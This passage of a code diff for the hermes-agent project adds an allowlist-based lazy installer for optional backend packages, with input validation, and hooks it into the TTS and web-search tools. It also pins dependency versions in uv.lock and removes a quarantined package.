PyPI 404 / quarantine), we surface the failure as + :class:`FeatureUnavailable` with the actual pip stderr — no silent + retries, no caching of bad state. + +Adding a new backend: + +1. Add an entry to :data:`LAZY_DEPS` with the package specs. +2. At the top of the backend module's import path, call + ``ensure("feature.name")`` inside a try/except that converts + :class:`FeatureUnavailable` to a useful runtime error. +""" + +from __future__ import annotations + +import logging +import os +import re +import shutil +import subprocess +import sys +from dataclasses import dataclass +from pathlib import Path +from typing import Optional + +logger = logging.getLogger(__name__) + + +# ============================================================================= +# Allowlist of lazy-installable backends. +# +# Keys are dot-separated feature names ("namespace.backend"). Values are +# tuples of pip-installable specs that match the corresponding extra in +# pyproject.toml. The framework enforces that only specs from this map +# can flow into the pip install command. +# ============================================================================= + + +LAZY_DEPS: dict[str, tuple[str, ...]] = { + # ─── Inference providers ─────────────────────────────────────────────── + # Native Anthropic SDK — needed when provider=anthropic (not via + # OpenRouter / aggregators which use the openai SDK). + "provider.anthropic": ("anthropic==0.86.0",), + # AWS Bedrock provider + "provider.bedrock": ("boto3==1.42.89",), + + # ─── Web search backends ─────────────────────────────────────────────── + "search.exa": ("exa-py==2.10.2",), + "search.firecrawl": ("firecrawl-py==4.17.0",), + "search.parallel": ("parallel-web==0.4.2",), + + # ─── TTS providers ───────────────────────────────────────────────────── + # Pinned to exact versions to match pyproject.toml's no-ranges policy + # (see comment at top of [project.dependencies]). When bumping, update + # both this map AND the corresponding extra in pyproject.toml. + # + # NOTE: tts.mistral / stt.mistral entries are intentionally absent — + # the `mistralai` PyPI project is quarantined as of 2026-05-12 (Mini + # Shai-Hulud worm). Re-add when PyPI restores a clean release; see + # comment in pyproject.toml above the (removed) `mistral` extra for + # the full restoration checklist. + "tts.edge": ("edge-tts==7.2.7",), + "tts.elevenlabs": ("elevenlabs==1.59.0",), + + # ─── Speech-to-text providers ────────────────────────────────────────── + "stt.faster_whisper": ( + "faster-whisper==1.2.1", + "sounddevice==0.5.5", + "numpy==2.4.3", + ), + + # ─── Image generation backends ───────────────────────────────────────── + "image.fal": ("fal-client==0.13.1",), + + # ─── Memory providers ────────────────────────────────────────────────── + "memory.honcho": ("honcho-ai==2.0.1",), + "memory.hindsight": ("hindsight-client==0.6.1",), + + # ─── Messaging platforms (lazy-installable on demand) ────────────────── + "platform.telegram": ("python-telegram-bot[webhooks]==22.6",), + "platform.discord": ("discord.py[voice]==2.7.1",), + "platform.slack": ( + "slack-bolt==1.27.0", + "slack-sdk==3.40.1", + ), + "platform.matrix": ( + "mautrix[encryption]==0.21.0", + "Markdown==3.10.2", + "aiosqlite==0.22.1", + "asyncpg==0.31.0", + "aiohttp-socks==0.11.0", + ), + "platform.dingtalk": ( + "dingtalk-stream==0.24.3", + "alibabacloud-dingtalk==2.2.42", + "qrcode==7.4.2", + ), + "platform.feishu": ( + "lark-oapi==1.5.3", + "qrcode==7.4.2", + ), + + # ─── Terminal backends ───────────────────────────────────────────────── + "terminal.modal": ("modal==1.3.4",), + "terminal.daytona": ("daytona==0.155.0",), + "terminal.vercel": ("vercel==0.5.7",), + + # ─── Skills ──────────────────────────────────────────────────────────── + "skill.google_workspace": ( + "google-api-python-client==2.194.0", + "google-auth-oauthlib==1.3.1", + "google-auth-httplib2==0.3.1", + ), + "skill.youtube": ("youtube-transcript-api==1.2.4",), + + # ─── Tools ───────────────────────────────────────────────────────────── + # ACP adapter (VS Code / Zed / JetBrains integration) + "tool.acp": ("agent-client-protocol==0.9.0",), + # Dashboard (`hermes dashboard`) + "tool.dashboard": ( + "fastapi==0.133.1", + "uvicorn[standard]==0.41.0", + ), +} + + +# Conservative regex for spec validation — package name plus optional +# version range. Reject anything that looks like a URL, file path, or shell +# metacharacter. +_SAFE_SPEC = re.compile( + r"^[A-Za-z0-9_][A-Za-z0-9_.\-]*" # package name + r"(?:\[[A-Za-z0-9_,\-]+\])?" # optional [extras] + r"(?:[<>=!~]=?[A-Za-z0-9_.\-+,*<>=!~]+)?" # optional version specifier + r"$" +) + + +class FeatureUnavailable(RuntimeError): + """A lazily-installable feature is missing and cannot be made available. + + Either the deps were never installed and the user has disabled lazy + installs, or the install attempt failed. + """ + + def __init__(self, feature: str, missing: tuple[str, ...], reason: str): + self.feature = feature + self.missing = missing + self.reason = reason + super().__init__(self._format()) + + def _format(self) -> str: + spec_list = " ".join(repr(s) for s in self.missing) + return ( + f"Feature {self.feature!r} unavailable: {self.reason}. " + f"To enable manually: uv pip install {spec_list} " + f"(or: pip install {spec_list})." + ) + + +@dataclass(frozen=True) +class _InstallResult: + success: bool + stdout: str + stderr: str + + +# ============================================================================= +# Internals +# ============================================================================= + + +def _allow_lazy_installs() -> bool: + """Return the ``security.allow_lazy_installs`` config flag. + + Defaults to True. If config is unreadable we fail open (allow), because + refusing to install would lock people out of their own backends; the + decision to block is an explicit user opt-in. + """ + if os.environ.get("HERMES_DISABLE_LAZY_INSTALLS") == "1": + return False + try: + from hermes_cli.config import load_config + cfg = load_config() + except Exception: + return True + sec = cfg.get("security") or {} + val = sec.get("allow_lazy_installs", True) + return bool(val) + + +def _spec_is_safe(spec: str) -> bool: + """Reject pip specs that contain URLs, paths, or shell metacharacters.""" + if not spec or len(spec) > 200: + return False + if any(ch in spec for ch in (";", "|", "&", "`", "$", "\n", "\r", "\t", "\\")): + return False + if spec.startswith(("-", "/", ".")) or "://" in spec or "@" in spec: + return False + return bool(_SAFE_SPEC.match(spec)) + + +def _pkg_name_from_spec(spec: str) -> str: + """Extract the bare package name from a pip spec. + + ``"slack-bolt>=1.18.0,<2"`` → ``"slack-bolt"`` + ``"mautrix[encryption]>=0.20"`` → ``"mautrix"`` + """ + m = re.match(r"^([A-Za-z0-9_][A-Za-z0-9_.\-]*)", spec) + return m.group(1) if m else spec + + +def _is_satisfied(spec: str) -> bool: + """Best-effort check: is ``spec`` already satisfied in the current env? + + We don't enforce the version range — if the package is importable + we assume the user knows what they're doing. This matches how the + lazy-import sites already behave. + """ + pkg = _pkg_name_from_spec(spec) + try: + from importlib.metadata import PackageNotFoundError, version + except ImportError: + return False + try: + version(pkg) + return True + except PackageNotFoundError: + return False + except Exception: + return False + + +def _venv_pip_install(specs: tuple[str, ...], *, timeout: int = 300) -> _InstallResult: + """Install ``specs`` into the active venv using uv → pip → ensurepip ladder. + + Mirrors the strategy in ``hermes_cli.tools_config._pip_install`` but + kept independent here so this module has no CLI dependency. + """ + if not specs: + return _InstallResult(True, "", "") + + venv_root = Path(sys.executable).parent.parent + uv_env = {**os.environ, "VIRTUAL_ENV": str(venv_root)} + + # Tier 1: uv (preferred — fast, doesn't need pip in the venv) + uv_bin = shutil.which("uv") + if uv_bin: + try: + r = subprocess.run( + [uv_bin, "pip", "install", *specs], + capture_output=True, text=True, timeout=timeout, env=uv_env, + ) + if r.returncode == 0: + return _InstallResult(True, r.stdout or "", r.stderr or "") + logger.debug("uv pip install failed: %s", r.stderr) + except (subprocess.TimeoutExpired, FileNotFoundError) as e: + logger.debug("uv invocation failed: %s", e) + + # Tier 2: python -m pip (with ensurepip bootstrap if needed) + pip_cmd = [sys.executable, "-m", "pip"] + try: + probe = subprocess.run( + pip_cmd + ["--version"], + capture_output=True, text=True, timeout=15, + ) + if probe.returncode != 0: + raise FileNotFoundError("pip not in venv") + except (subprocess.TimeoutExpired, FileNotFoundError): + try: + subprocess.run( + [sys.executable, "-m", "ensurepip", "--upgrade", "--default-pip"], + capture_output=True, text=True, timeout=120, check=True, + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e: + return _InstallResult(False, "", + f"pip not available and ensurepip failed: {e}") + + try: + r = subprocess.run( + pip_cmd + ["install", *specs], + capture_output=True, text=True, timeout=timeout, + ) + return _InstallResult(r.returncode == 0, r.stdout or "", r.stderr or "") + except subprocess.TimeoutExpired as e: + return _InstallResult(False, "", f"pip install timed out: {e}") + except Exception as e: + return _InstallResult(False, "", f"pip install failed: {e}") + + +# ============================================================================= +# Public API +# ============================================================================= + + +def feature_specs(feature: str) -> tuple[str, ...]: + """Return the registered specs for a feature, or raise KeyError.""" + if feature not in LAZY_DEPS: + raise KeyError(f"Unknown lazy feature: {feature!r}") + return LAZY_DEPS[feature] + + +def feature_missing(feature: str) -> tuple[str, ...]: + """Return the subset of specs for ``feature`` not currently installed.""" + return tuple(s for s in feature_specs(feature) if not _is_satisfied(s)) + + +def ensure(feature: str, *, prompt: bool = True) -> None: + """Make sure all packages for ``feature`` are importable. + + If they're missing, attempts to install them in the active venv. Raises + :class:`FeatureUnavailable` if the user has disabled lazy installs or + if the install attempt fails. + + ``prompt``: when True (default) and stdin is a TTY, asks the user to + confirm before installing. Non-interactive callers (gateway, cron, + batch) get prompt=False and skip the confirmation — config flag is + the gate in that case. + """ + if feature not in LAZY_DEPS: + raise FeatureUnavailable( + feature, (), f"feature {feature!r} not in LAZY_DEPS allowlist" + ) + + missing = feature_missing(feature) + if not missing: + return + + # Validate every spec against the allowlist + safety regex. Belt and + # braces — the keys-in-LAZY_DEPS check above already constrains this. + for spec in missing: + if not _spec_is_safe(spec): + raise FeatureUnavailable( + feature, missing, + f"refusing to install unsafe spec {spec!r}" + ) + + if not _allow_lazy_installs(): + raise FeatureUnavailable( + feature, missing, + "lazy installs disabled (security.allow_lazy_installs=false)" + ) + + if prompt and sys.stdin.isatty() and sys.stdout.isatty(): + spec_list = ", ".join(missing) + try: + answer = input( + f"\nFeature {feature!r} requires: {spec_list}\n" + f"Install into the active venv now? [Y/n] " + ).strip().lower() + except (EOFError, KeyboardInterrupt): + answer = "n" + if answer and answer not in ("y", "yes"): + raise FeatureUnavailable( + feature, missing, "user declined install at prompt" + ) + + logger.info("Lazy-installing %s for feature %r", " ".join(missing), feature) + result = _venv_pip_install(missing) + if not result.success: + # Surface the actual pip error so the user can debug PyPI-side + # issues (404 quarantine, network down, etc.). + snippet = (result.stderr or result.stdout or "").strip() + if snippet: + # Clip to a readable size — pip can dump pages of resolution traces. + snippet = snippet[-2000:] + raise FeatureUnavailable( + feature, missing, + f"pip install failed: {snippet or 'no error output'}" + ) + + # Verify post-install. importlib.metadata caches per-process, so if we + # just installed something the cache may not see it without a refresh. + try: + import importlib.metadata as _md + if hasattr(_md, "_cache_clear"): + _md._cache_clear() # type: ignore[attr-defined] + except Exception: + pass + + still_missing = feature_missing(feature) + if still_missing: + raise FeatureUnavailable( + feature, still_missing, + "install reported success but packages still not importable " + "(may require Python restart)" + ) + + logger.info("Lazy install complete for feature %r", feature) + + +def is_available(feature: str) -> bool: + """Return True if the feature's deps are already satisfied.""" + if feature not in LAZY_DEPS: + return False + return not feature_missing(feature) + + +def feature_install_command(feature: str) -> Optional[str]: + """Return the ``pip install`` command a user could run manually, or None.""" + if feature not in LAZY_DEPS: + return None + specs = LAZY_DEPS[feature] + return "uv pip install " + " ".join(repr(s) for s in specs) diff --git a/tools/tts_tool.py b/tools/tts_tool.py index 31e080332b1..1ea3ba21c63 100644 --- a/tools/tts_tool.py +++ b/tools/tts_tool.py @@ -80,11 +80,34 @@ from tools.xai_http import hermes_xai_user_agent def _import_edge_tts(): """Lazy import edge_tts. Returns the module or raises ImportError.""" + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("tts.edge", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) import edge_tts return edge_tts def _import_elevenlabs(): - """Lazy import ElevenLabs client. Returns the class or raises ImportError.""" + """Lazy import ElevenLabs client. Returns the class or raises ImportError. + + Calls :func:`tools.lazy_deps.ensure` first so the SDK gets installed on + demand if the user picked ElevenLabs as their TTS provider but never ran + the post-setup hook (e.g. enabled it by editing config.yaml directly). + Raises ``ImportError`` on lazy-install failure so existing callers' + error-handling paths keep working. + """ + try: + from tools.lazy_deps import FeatureUnavailable, ensure + ensure("tts.elevenlabs", prompt=False) + except ImportError: + # lazy_deps module itself missing — fall through to the raw import + # so older code paths still get a clean ImportError. + pass + except Exception as e: # FeatureUnavailable or any unexpected error + raise ImportError(str(e)) from elevenlabs.client import ElevenLabs return ElevenLabs diff --git a/tools/web_tools.py b/tools/web_tools.py index ba14b07a41c..401a34a5736 100644 --- a/tools/web_tools.py +++ b/tools/web_tools.py @@ -64,6 +64,13 @@ def _load_firecrawl_cls() -> type: """Import and cache ``firecrawl.Firecrawl``.""" global _FIRECRAWL_CLS_CACHE if _FIRECRAWL_CLS_CACHE is None: + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.firecrawl", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from firecrawl import Firecrawl as _cls _FIRECRAWL_CLS_CACHE = _cls return _FIRECRAWL_CLS_CACHE @@ -358,6 +365,13 @@ def _get_parallel_client(): Requires PARALLEL_API_KEY environment variable. """ + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.parallel", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from parallel import Parallel global _parallel_client if _parallel_client is None: @@ -376,6 +390,13 @@ def _get_async_parallel_client(): Requires PARALLEL_API_KEY environment variable. """ + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.parallel", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from parallel import AsyncParallel global _async_parallel_client if _async_parallel_client is None: @@ -990,6 +1011,13 @@ def _get_exa_client(): Requires EXA_API_KEY environment variable. """ + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("search.exa", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from exa_py import Exa global _exa_client if _exa_client is None: diff --git a/uv.lock b/uv.lock index 93fe3d6f0ee..5051fdf0727 100644 --- a/uv.lock +++ b/uv.lock @@ -1394,15 +1394,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/97/a8/c070e1340636acb38d4e6a7e45c46d168a462b48b9b3257e14ca0e5af79b/environs-14.6.0-py3-none-any.whl", hash = "sha256:f8fb3d6c6a55872b0c6db077a28f5a8c7b8984b7c32029613d44cef95cfc0812", size = 17205, upload-time = "2026-02-20T04:02:07.299Z" }, ] -[[package]] -name = "eval-type-backport" -version = "0.3.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/fb/a3/cafafb4558fd638aadfe4121dc6cefb8d743368c085acb2f521df0f3d9d7/eval_type_backport-0.3.1.tar.gz", hash = "sha256:57e993f7b5b69d271e37482e62f74e76a0276c82490cf8e4f0dffeb6b332d5ed", size = 9445, upload-time = "2025-12-02T11:51:42.987Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/cf/22/fdc2e30d43ff853720042fa15baa3e6122722be1a7950a98233ebb55cd71/eval_type_backport-0.3.1-py3-none-any.whl", hash = "sha256:279ab641905e9f11129f56a8a78f493518515b83402b860f6f06dd7c011fdfa8", size = 6063, upload-time = "2025-12-02T11:51:41.665Z" }, -] - [[package]] name = "exa-py" version = "2.10.2" @@ -1962,17 +1953,11 @@ name = "hermes-agent" version = "0.13.0" source = { editable = "." } dependencies = [ - { name = "anthropic" }, { name = "croniter" }, - { name = "edge-tts" }, - { name = "exa-py" }, - { name = "fal-client" }, { name = "fire" }, - { name = "firecrawl-py" }, { name = "httpx", extra = ["socks"] }, { name = "jinja2" }, { name = "openai" }, - { name = "parallel-web" }, { name = "prompt-toolkit" }, { name = "psutil" }, { name = "pydantic" }, @@ -1996,15 +1981,20 @@ all = [ { name = "aiohttp-socks", marker = "sys_platform == 'linux'" }, { name = "aiosqlite", marker = "sys_platform == 'linux'" }, { name = "alibabacloud-dingtalk" }, + { name = "anthropic" }, { name = "asyncpg", marker = "sys_platform == 'linux'" }, { name = "boto3" }, { name = "daytona" }, { name = "debugpy" }, { name = "dingtalk-stream" }, { name = "discord-py", extra = ["voice"] }, + { name = "edge-tts" }, { name = "elevenlabs" }, + { name = "exa-py" }, + { name = "fal-client" }, { name = "fastapi" }, { name = "faster-whisper" }, + { name = "firecrawl-py" }, { name = "google-api-python-client" }, { name = "google-auth-httplib2" }, { name = "google-auth-oauthlib" }, @@ -2013,9 +2003,9 @@ all = [ { name = "markdown", marker = "sys_platform == 'linux'" }, { name = "mautrix", extra = ["encryption"], marker = "sys_platform == 'linux'" }, { name = "mcp" }, - { name = "mistralai" }, { name = "modal" }, { name = "numpy" }, + { name = "parallel-web" }, { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "pytest" }, { name = "pytest-asyncio" }, @@ -2034,6 +2024,9 @@ all = [ { name = "vercel" }, { name = "youtube-transcript-api" }, ] +anthropic = [ + { name = "anthropic" }, +] bedrock = [ { name = "boto3" }, ] @@ -2061,10 +2054,22 @@ dingtalk = [ { name = "dingtalk-stream" }, { name = "qrcode" }, ] +edge-tts = [ + { name = "edge-tts" }, +] +exa = [ + { name = "exa-py" }, +] +fal = [ + { name = "fal-client" }, +] feishu = [ { name = "lark-oapi" }, { name = "qrcode" }, ] +firecrawl = [ + { name = "firecrawl-py" }, +] google = [ { name = "google-api-python-client" }, { name = "google-auth-httplib2" }, @@ -2097,12 +2102,12 @@ messaging = [ { name = "slack-bolt" }, { name = "slack-sdk" }, ] -mistral = [ - { name = "mistralai" }, -] modal = [ { name = "modal" }, ] +parallel-web = [ + { name = "parallel-web" }, +] pty = [ { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "pywinpty", marker = "sys_platform == 'win32'" }, @@ -2145,7 +2150,6 @@ termux-all = [ { name = "honcho-ai" }, { name = "lark-oapi" }, { name = "mcp" }, - { name = "mistralai" }, { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "python-telegram-bot", extra = ["webhooks"] }, { name = "pywinpty", marker = "sys_platform == 'win32'" }, @@ -2179,36 +2183,37 @@ youtube = [ [package.metadata] requires-dist = [ - { name = "agent-client-protocol", marker = "extra == 'acp'", specifier = ">=0.9.0,<1.0" }, - { name = "aiohttp", marker = "extra == 'homeassistant'", specifier = ">=3.9.0,<4" }, - { name = "aiohttp", marker = "extra == 'messaging'", specifier = ">=3.13.3,<4" }, - { name = "aiohttp", marker = "extra == 'sms'", specifier = ">=3.9.0,<4" }, - { name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = ">=0.10,<1" }, - { name = "aiosqlite", marker = "extra == 'matrix'", specifier = ">=0.20" }, - { name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = ">=2.0.0" }, - { name = "anthropic", specifier = ">=0.39.0,<1" }, - { name = "asyncpg", marker = "extra == 'matrix'", specifier = ">=0.29" }, + { name = "agent-client-protocol", marker = "extra == 'acp'", specifier = "==0.9.0" }, + { name = "aiohttp", marker = "extra == 'homeassistant'", specifier = "==3.13.3" }, + { name = "aiohttp", marker = "extra == 'messaging'", specifier = "==3.13.3" }, + { name = "aiohttp", marker = "extra == 'sms'", specifier = "==3.13.3" }, + { name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = "==0.11.0" }, + { name = "aiosqlite", marker = "extra == 'matrix'", specifier = "==0.22.1" }, + { name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = "==2.2.42" }, + { name = "anthropic", marker = "extra == 'anthropic'", specifier = "==0.86.0" }, + { name = "asyncpg", marker = "extra == 'matrix'", specifier = "==0.31.0" }, { name = "atroposlib", marker = "extra == 'rl'", git = "https://github.com/NousResearch/atropos.git?rev=c20c85256e5a45ad31edf8b7276e9c5ee1995a30" }, - { name = "boto3", marker = "extra == 'bedrock'", specifier = ">=1.35.0,<2" }, - { name = "croniter", specifier = ">=6.0.0,<7" }, - { name = "daytona", marker = "extra == 'daytona'", specifier = ">=0.148.0,<1" }, - { name = "debugpy", marker = "extra == 'dev'", specifier = ">=1.8.0,<2" }, - { name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = ">=0.20,<1" }, - { name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = ">=2.7.1,<3" }, - { name = "edge-tts", specifier = ">=7.2.7,<8" }, - { name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = ">=1.0,<2" }, - { name = "exa-py", specifier = ">=2.9.0,<3" }, - { name = "fal-client", specifier = ">=0.13.1,<1" }, - { name = "fastapi", marker = "extra == 'rl'", specifier = ">=0.104.0,<1" }, - { name = "fastapi", marker = "extra == 'web'", specifier = ">=0.104.0,<1" }, - { name = "faster-whisper", marker = "extra == 'voice'", specifier = ">=1.0.0,<2" }, - { name = "fire", specifier = ">=0.7.1,<1" }, - { name = "firecrawl-py", specifier = ">=4.16.0,<5" }, - { name = "google-api-python-client", marker = "extra == 'google'", specifier = ">=2.100,<3" }, - { name = "google-auth-httplib2", marker = "extra == 'google'", specifier = ">=0.2,<1" }, - { name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = ">=1.0,<2" }, + { name = "boto3", marker = "extra == 'bedrock'", specifier = "==1.42.89" }, + { name = "croniter", specifier = "==6.0.0" }, + { name = "daytona", marker = "extra == 'daytona'", specifier = "==0.155.0" }, + { name = "debugpy", marker = "extra == 'dev'", specifier = "==1.8.20" }, + { name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = "==0.24.3" }, + { name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = "==2.7.1" }, + { name = "edge-tts", marker = "extra == 'edge-tts'", specifier = "==7.2.7" }, + { name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = "==1.59.0" }, + { name = "exa-py", marker = "extra == 'exa'", specifier = "==2.10.2" }, + { name = "fal-client", marker = "extra == 'fal'", specifier = "==0.13.1" }, + { name = "fastapi", marker = "extra == 'rl'", specifier = "==0.133.1" }, + { name = "fastapi", marker = "extra == 'web'", specifier = "==0.133.1" }, + { name = "faster-whisper", marker = "extra == 'voice'", specifier = "==1.2.1" }, + { name = "fire", specifier = "==0.7.1" }, + { name = "firecrawl-py", marker = "extra == 'firecrawl'", specifier = "==4.17.0" }, + { name = "google-api-python-client", marker = "extra == 'google'", specifier = "==2.194.0" }, + { name = "google-auth-httplib2", marker = "extra == 'google'", specifier = "==0.3.1" }, + { name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = "==1.3.1" }, { name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'" }, + { name = "hermes-agent", extras = ["anthropic"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'" }, @@ -2219,8 +2224,12 @@ requires-dist = [ { name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'termux-all'" }, + { name = "hermes-agent", extras = ["edge-tts"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["exa"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["fal"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["feishu"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["feishu"], marker = "extra == 'termux-all'" }, + { name = "hermes-agent", extras = ["firecrawl"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["google"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'" }, @@ -2232,9 +2241,8 @@ requires-dist = [ { name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["messaging"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["messaging"], marker = "extra == 'termux-all'" }, - { name = "hermes-agent", extras = ["mistral"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["mistral"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["modal"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["parallel-web"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["slack"], marker = "extra == 'all'" }, @@ -2249,60 +2257,59 @@ requires-dist = [ { name = "hermes-agent", extras = ["web"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["youtube"], marker = "extra == 'all'" }, - { name = "hindsight-client", marker = "extra == 'hindsight'", specifier = ">=0.4.22" }, - { name = "honcho-ai", marker = "extra == 'honcho'", specifier = ">=2.0.1,<3" }, - { name = "httpx", extras = ["socks"], specifier = ">=0.28.1,<1" }, - { name = "jinja2", specifier = ">=3.1.5,<4" }, - { name = "lark-oapi", marker = "extra == 'feishu'", specifier = ">=1.5.3,<2" }, - { name = "markdown", marker = "extra == 'matrix'", specifier = ">=3.6,<4" }, - { name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = ">=0.20,<1" }, - { name = "mcp", marker = "extra == 'computer-use'", specifier = ">=1.2.0,<2" }, - { name = "mcp", marker = "extra == 'dev'", specifier = ">=1.2.0,<2" }, - { name = "mcp", marker = "extra == 'mcp'", specifier = ">=1.2.0,<2" }, - { name = "mistralai", marker = "extra == 'mistral'", specifier = ">=2.3.0,<3" }, - { name = "modal", marker = "extra == 'modal'", specifier = ">=1.0.0,<2" }, - { name = "numpy", marker = "extra == 'voice'", specifier = ">=1.24.0,<3" }, - { name = "openai", specifier = ">=2.21.0,<3" }, - { name = "parallel-web", specifier = ">=0.4.2,<1" }, - { name = "prompt-toolkit", specifier = ">=3.0.52,<4" }, - { name = "psutil", specifier = ">=5.9.0,<8" }, - { name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = ">=0.7.0,<1" }, - { name = "pydantic", specifier = ">=2.12.5,<3" }, - { name = "pyjwt", extras = ["crypto"], specifier = ">=2.12.0,<3" }, - { name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.2,<10" }, - { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=1.3.0,<2" }, - { name = "pytest-split", marker = "extra == 'dev'", specifier = ">=0.9,<1" }, - { name = "pytest-xdist", marker = "extra == 'dev'", specifier = ">=3.0,<4" }, - { name = "python-dotenv", specifier = ">=1.2.1,<2" }, - { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = ">=22.6,<23" }, - { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = ">=22.6,<23" }, - { name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = ">=2.0.0,<3" }, - { name = "pyyaml", specifier = ">=6.0.2,<7" }, - { name = "qrcode", marker = "extra == 'dingtalk'", specifier = ">=7.0,<8" }, - { name = "qrcode", marker = "extra == 'feishu'", specifier = ">=7.0,<8" }, - { name = "qrcode", marker = "extra == 'messaging'", specifier = ">=7.0,<8" }, - { name = "requests", specifier = ">=2.33.0,<3" }, - { name = "rich", specifier = ">=14.3.3,<15" }, - { name = "ruamel-yaml", specifier = ">=0.18.16,<0.19" }, - { name = "ruff", marker = "extra == 'dev'" }, - { name = "simple-term-menu", marker = "extra == 'cli'", specifier = ">=1.0,<2" }, - { name = "slack-bolt", marker = "extra == 'messaging'", specifier = ">=1.18.0,<2" }, - { name = "slack-bolt", marker = "extra == 'slack'", specifier = ">=1.18.0,<2" }, - { name = "slack-sdk", marker = "extra == 'messaging'", specifier = ">=3.27.0,<4" }, - { name = "slack-sdk", marker = "extra == 'slack'", specifier = ">=3.27.0,<4" }, - { name = "sounddevice", marker = "extra == 'voice'", specifier = ">=0.4.6,<1" }, - { name = "tenacity", specifier = ">=9.1.4,<10" }, + { name = "hindsight-client", marker = "extra == 'hindsight'", specifier = "==0.6.1" }, + { name = "honcho-ai", marker = "extra == 'honcho'", specifier = "==2.0.1" }, + { name = "httpx", extras = ["socks"], specifier = "==0.28.1" }, + { name = "jinja2", specifier = "==3.1.6" }, + { name = "lark-oapi", marker = "extra == 'feishu'", specifier = "==1.5.3" }, + { name = "markdown", marker = "extra == 'matrix'", specifier = "==3.10.2" }, + { name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = "==0.21.0" }, + { name = "mcp", marker = "extra == 'computer-use'", specifier = "==1.26.0" }, + { name = "mcp", marker = "extra == 'dev'", specifier = "==1.26.0" }, + { name = "mcp", marker = "extra == 'mcp'", specifier = "==1.26.0" }, + { name = "modal", marker = "extra == 'modal'", specifier = "==1.3.4" }, + { name = "numpy", marker = "extra == 'voice'", specifier = "==2.4.3" }, + { name = "openai", specifier = "==2.24.0" }, + { name = "parallel-web", marker = "extra == 'parallel-web'", specifier = "==0.4.2" }, + { name = "prompt-toolkit", specifier = "==3.0.52" }, + { name = "psutil", specifier = "==7.2.2" }, + { name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = "==0.7.0" }, + { name = "pydantic", specifier = "==2.12.5" }, + { name = "pyjwt", extras = ["crypto"], specifier = "==2.12.1" }, + { name = "pytest", marker = "extra == 'dev'", specifier = "==9.0.2" }, + { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = "==1.3.0" }, + { name = "pytest-split", marker = "extra == 'dev'", specifier = "==0.11.0" }, + { name = "pytest-xdist", marker = "extra == 'dev'", specifier = "==3.8.0" }, + { name = "python-dotenv", specifier = "==1.2.1" }, + { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = "==22.6" }, + { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = "==22.6" }, + { name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = "==2.0.15" }, + { 